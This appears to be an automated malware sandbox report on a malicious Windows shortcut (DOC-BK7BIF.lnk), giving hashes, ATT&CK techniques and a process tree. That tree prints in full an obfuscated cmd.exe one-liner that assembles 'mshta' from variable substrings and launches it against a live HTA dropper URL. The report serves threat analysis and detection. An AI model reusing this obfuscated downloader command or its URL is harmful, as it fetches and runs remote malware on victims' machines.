dcc0e22f57c0721c1e71dfd29e67670683fa260e56c80fba4f5b5ac8c69f71d9

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:20

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General

Target
DOC-BK7BIF.lnk
Size 2KB
Sample260804-j8snysga39
SHA256 dcc0e22f57c0721c1e71dfd29e67670683fa260e56c80fba4f5b5ac8c69f71d9
MD5 da5e546815f67e94cf4c6cd7a7336e85
SHA1 3fe426145537ef1575a7ecc95312f107b3d0ca9a
SHA512 492940be957b9881b615b80493fa9a94f496a176fa5bf94d0e4a1193ae7c3712f87edd0b6e220e63b50b2e49278227153b432c58b42980ebdcb099ace5c2a9f0
TLSH
T1664102802AEE01D8F2BB8D36D9FA33614C7BB9619EB1C58D0880810E1422E45DD7BF53
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3332	cmd.exe
5456	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3332 wrote to memory of 5456	3332	cmd.exe	90
PID 5456 wrote to memory of 4888	5456	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BK7BIF.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3332
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set VCjWG=sysuvazgbxrkqazmhheasys&&set ub=cacheidlvxlacbrirceyejcache&&set Mf=oldspouyxwrzold&&set QI=cfgtveiwjdvhizcfg&&set LjHD=cachekbwtkobcache&&set QoHU=bakzeqwkkazmqbhmwthtbak&&set TIqaz=lkgmshfsv&&set YPi=6taq&&set ENKV=mxjstacx&&set me=3ra4&&set mqmf=2o8tz&&set wfHF=cacheouokxhpjwygxnbcache&&set QgcK=ht@tps@:/@/m@a-p@dffi@[email protected]@t/@h/es@t@agio@1.@p@hp@?r@=3@9@1469FB5D@82DB&&start /b !TIqaz:~3,3!!YPi:~1,2! !QgcK:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5456
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads